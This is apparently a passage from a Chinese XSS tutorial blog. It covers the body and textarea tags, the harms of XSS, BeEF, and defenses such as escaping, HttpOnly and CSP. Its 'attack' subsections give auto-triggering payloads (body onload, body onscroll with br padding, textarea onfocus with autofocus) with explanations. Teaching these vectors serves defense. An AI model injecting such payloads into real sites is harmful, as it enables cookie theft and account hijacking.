<body>是HTML文档的核心内容容器，所有可见的页面元素（如文本、图片、按钮、视频）都必须嵌套在<body>标签内。以下是其核心作用与属性：

2.4.10.1. 基本结构

<body>位于<head>之后，是HTML文档的“主体”部分：

<!DOCTYPE html>
<html>
  <head>
    <title>页面标题</title>
  </head>
  <body>
    <!-- 所有可见内容都在这里 -->
    <h1>这是页面标题</h1>
    <p>这是一段文本</p>
  </body>
</html>

2.4.10.2. 核心属性

属性	作用
`onload`	页面完全加载（包括图片、脚本）后触发的事件（如执行初始化函数）。
`onunload`	用户离开页面时触发的事件（如保存用户数据）。
`bgcolor`	页面背景色（已过时，建议用CSS的`background-color`替代）。
`text`	页面默认文本颜色（已过时，建议用CSS的`color`替代）。

2.4.10.3. 常见用法

承载所有可见元素
文本、图片、链接、表单、视频等都必须放在<body>内，否则浏览器会忽略这些内容。
事件绑定（需谨慎）
可通过onload执行页面初始化逻辑：

<body onload="initPage()">
  <script>
    function initPage() {
      console.log('页面加载完成');
    }
  </script>
</body>

⚠️ 安全风险：直接在<body>上绑定onload等事件可能被XSS攻击利用（如注入恶意代码），建议通过JavaScript动态绑定事件。

2.4.10.4. 安全与性能建议

避免内联事件属性
尽量不用onload、onclick等内联事件，改用JavaScript的addEventListener：

window.addEventListener('load', () => {
  console.log('页面加载完成');
});

优化页面加载顺序
将CSS放在<head>中，JavaScript放在<body>底部，避免阻塞页面渲染。

2.4.10.5. 一句话总结

<body>是HTML文档的内容承载区，所有可见元素的“家”，同时也是页面事件（如加载、卸载）的触发载体 📄。

2.4.10.6. 攻击

2.4.10.6.1. `onload`

body onload=alert(1)

<body>：HTML文档的内容容器标签。
onload：<body>的加载事件属性，当页面完全加载（包括图片、脚本等资源）时触发。
alert(1)：JavaScript的弹窗函数，此处作为恶意脚本的简化示例（实际攻击中可能替换为窃取Cookie、跳转钓鱼网站等代码）。

原理：

当用户访问包含该代码的页面时：

浏览器加载<body>标签。
触发onload事件，执行alert(1)。
页面弹出内容为“1”的警示框（若替换为恶意脚本，可能窃取用户信息或篡改页面）。

2.4.10.6.2. `onscroll`

onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus，当用户滑动滚动条的时候自动触发，无需用户去点击触发：

<body
  onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<body>：HTML文档的内容容器标签。
onscroll：<body>的滚动事件属性，当页面滚动条滚动时触发。
<br>重复：通过大量换行符（<br>）拉长页面高度，强制出现滚动条，用户只需滑动页面即可触发事件。
alert(1)：JavaScript弹窗函数（实际攻击中可能替换为窃取Cookie、跳转钓鱼网站等恶意代码）。

原理：

当用户访问包含该代码的页面时：

大量<br>导致页面过长，出现滚动条。
用户滑动页面（或页面自动滚动）时，触发onscroll事件。
执行alert(1)，弹出警示框（若为恶意脚本，可能窃取用户信息）。

2.4.11. textarea 标签

<textarea> 是HTML中用于创建多行文本输入区域的标签，常用于表单中的评论、反馈、代码输入等场景，核心特点是支持换行和长文本输入。

2.4.11.1. 基本语法

<textarea rows="行数" cols="列数" placeholder="提示文字" name="字段名">
  默认文本（可选）
</textarea>

2.4.11.2. 关键属性

rows：指定输入框的可见行数（高度），如 rows="5" 表示显示5行文本。
cols：指定输入框的可见列数（宽度），如 cols="30" 表示每行显示30个字符。
placeholder：输入框为空时的提示文字，如 placeholder="请输入您的评论..."。
name：表单提交时的字段名，用于后端接收数据。
disabled：设置输入框为禁用状态（不可编辑）。
required：表单提交时必须填写该字段。

2.4.11.3. 与 `<input type="text">` 的区别

特性	`<textarea>`	`<input type="text">`
输入方式	多行文本，支持换行	单行文本，不支持换行
大小控制	通过 `rows`/`cols`或CSS	通过 `size`属性或CSS
默认值	写在标签内部	通过 `value`属性设置

2.4.11.4. 攻击

<textarea onfocus=alert(1); autofocus>

<textarea>：HTML的多行文本输入框标签。
onfocus：<textarea>的聚焦事件属性，当输入框获得焦点（如用户点击、自动聚焦）时触发。
autofocus：HTML5的自动聚焦属性，页面加载时自动将光标定位到该输入框，无需用户操作。
alert(1)：JavaScript弹窗函数（实际攻击中可能替换为窃取Cookie、跳转钓鱼网站等恶意代码）。

原理：

当用户访问包含该代码的页面时：

页面加载后，autofocus自动让<textarea>获得焦点。
触发onfocus事件，执行alert(1)，弹出警示框。
若替换为恶意脚本（如document.location.href='钓鱼网址'），可直接窃取用户信息或诱导操作。

2.5. xss的危害

XSS（跨站脚本攻击）的本质是攻击者通过注入恶意脚本，在用户浏览器中执行未授权操作，其危害可分为数据窃取、账户劫持、业务破坏三大类，具体表现如下：

2.5.1. 直接窃取敏感信息

Cookie/Token被盗：恶意脚本通过document.cookie读取用户登录凭证，攻击者可直接登录用户账户（如网银、社交平台）。
键盘记录：注入键盘记录脚本，窃取用户输入的密码、银行卡号等信息。
会话劫持：利用窃取的Cookie，冒充用户身份进行操作（如转账、发布内容）。

2.5.2. 控制用户账户与设备

账户接管：通过修改用户密码、绑定攻击者手机号，完全控制账户。
钓鱼攻击：在页面中注入伪造的登录框/支付弹窗，诱导用户输入敏感信息。
恶意操作：强制用户执行操作（如自动点赞、转发垃圾信息、购买商品）。

2.5.3. 破坏业务与传播恶意代码

网页篡改：替换页面内容（如显示虚假公告、植入广告），损害网站信誉。
蠕虫传播：利用XSS漏洞自动感染其他用户（如早期Samy蠕虫通过MySpace传播）。
植入恶意软件：通过脚本下载木马、勒索软件，感染用户设备。

2.5.4. 典型案例警示

2018年微博XSS事件：攻击者利用评论区反射型XSS漏洞，窃取大量用户Cookie，导致账户被盗。
某电商平台DOM型XSS：用户搜索时注入脚本，篡改商品价格，诱导其他用户低价下单。

2.6. XSS 攻击工具与平台

2.6.1. XSS 攻击平台

研究人员将多种功能封装到 XSS 攻击平台中，这些平台具备获取浏览器和计算机信息、钓鱼攻击等功能。攻击者可以通过这些平台更高效地实施 XSS 攻击，并收集攻击成果。

2.6.2. BEEF

BEEF 是一款强大的 XSS 攻击辅助平台，它能够与浏览器进行交互，注入脚本获取敏感数据，控制浏览器操作。BEEF 内置 Web 界面，方便攻击者进行操作和管理。

2.7. 防御方法

2.7.1. 输入输出过滤

对用户输入数据进行严格过滤，转义或去除特殊字符，防止恶意脚本注入。同时，对输出数据也进行检查和转义，确保不会在页面中执行恶意脚本。

【输入的特殊字符（如<、>、'、"）进行过滤或转义】

2.7.2. HttpOnly Cookie

设置 Cookie 的 HttpOnly 属性，使 JavaScript 无法访问该 Cookie，防止 Cookie 被窃取，降低会话劫持的风险。在 PHP 中，可以使用 setcookie 函数设置 HttpOnly 属性：

setcookie("session_id", "123456", time() + 3600, "/", "example.com", false, true);

2.7.3. 内容安全策略（CSP）

配置 CSP 策略，限制页面加载资源的来源，阻止恶意脚本的执行。可以通过 HTTP 响应头 “Content-Security-Policy” 或 HTML 的 “” 标签来设置。

例如，设置 “Content-Security-Policy: script-src'self'”，表示只允许从当前域名加载脚本。

2.7.4. 验证输入数据类型和格式

确保用户输入的数据符合预期的类型和格式，防止攻击者利用非预期的数据格式进行攻击。例

2.7.5. 还有Js,富文本，旧版浏览器等等存在的安全隐患

收录于

web

xss

标签

#web安全 #xss

XSS攻击（反射型、存储型、dom型、PDF、SWF、SVG） XSS是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码，当用户浏览该页之时，嵌入其中 Web 里面的脚本代码会被执行，从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。阅读详情

XSS攻击全解析：原理、类型与防御【详细】

1. 前言

2. 纸上谈兵

2.1. 什么是跨站脚本攻击

2.2. XSS的原理

2.3. xss的类型

2.3.1. 反射型 XSS

2.3.1.1. 定义

2.3.1.2. 核心原理：URL传参→服务器反射→浏览器执行

2.3.1.3. 最直观的示例：搜索框注入

2.3.1.4. 其他常见场景示例

2.3.1.5. 攻击链的“完整形态”

2.3.1.6. 关键识别点

2.3.1.7. 防御核心：

2.3.2. 存储型XSS

2.3.2.1. 定义

2.3.2.2. 核心原理

2.3.2.3. 典型场景与示例

2.3.2.4. 主要危害

2.3.2.5. 防御核心策略

2.3.2.6. 关键提示

2.3.3. DOM型XSS

2.3.3.1. 定义

2.3.3.2. 核心原理：前端直接操作DOM→未过滤导致执行

2.3.3.3. 最直观的示例：URL参数直接插入DOM

2.3.3.4. 典型场景与变种示例

2.3.3.5. 攻击链的“完整形态”

2.3.3.6. 防御核心策略

2.3.3.7. 关键识别点

2.3.3.8. 与反射型xss区别

2.3.3.8.1. 核心区别：数据是否经过服务器

2.3.3.8.2. 典型示例对比

2.3.3.8.3. 关键识别方法

2.3.3.8.4. 防御策略差异

2.3.4. 总结【白痴一点】

2.3.4.1. 存储型XSS：“藏在网站数据库里的毒评论”

2.3.4.2. 反射型XSS：“钓鱼链接里的毒参数”

2.3.4.3. DOM型XSS：“网页自己把毒吃下去”

2.3.4.4. 一句话区分核心

2.4. 常见XSS攻击方式【属性与标签】

2.4.1. scirpt 标签

2.4.1.1. 基础用法

2.4.1.2. 关键属性

2.4.1.3. 安全注意事项

2.4.1.4. 一句话总结

2.4.1.5. 攻击

2.4.2. img 标签

2.4.2.1. 基础用法

2.4.2.2. 关键属性

2.4.2.3. 安全与性能注意事项

2.4.2.4. 一句话总结

2.4.2.5. 攻击

2.4.3. input 标签

2.4.3.1. 基础用法

2.4.3.2. 常用type类型

2.4.3.3. 关键属性

2.4.3.4. 安全注意事项

2.4.3.5. 一句话总结

2.4.3.6. 攻击

2.4.3.6.1. 解释一下

2.4.3.6.2. 安全风险：XSS攻击的“自动触发”向量

2.4.4. details 标签

2.4.4.1. 基础用法

2.4.4.2. 关键特性

2.4.4.3. 常见使用场景

2.4.4.4. 注意事项

2.4.4.5. 一句话总结

2.4.4.6. 攻击

2.4.4.6.1. 手动触发：需要用户点击

2.4.4.6.2. 自动触发：无需用户操作（重点！）

2.4.4.6.3. 为什么这是XSS攻击的“新向量”？

2.4.4.6.4. 一句话总结

2.4.5. SVG标签

2.4.5.1. SVG标签的基本结构

2.4.5.2. 常用子标签：绘制基础图形

2.4.5.3. SVG的核心优势

2.4.5.4. SVG的常见用途

2.4.5.5. 一句话总结

2.4.5.6. 攻击

2.4.5.6.1. onload事件：页面加载即执行

2.4.3.2. 常用`type`类型

2.4.5.6.1. `onload`事件：页面加载即执行

2.4.5.6.2. `<script>`标签：直接嵌入脚本

2.4.5.6.3. 动画标签绕过WAF：`animate`/`animateTransform`

2.4.6.3. 扩展用法：`<optgroup>`分组选项

2.4.10.6.1. `onload`

2.4.10.6.2. `onscroll`

2.4.11.3. 与 `<input type="text">` 的区别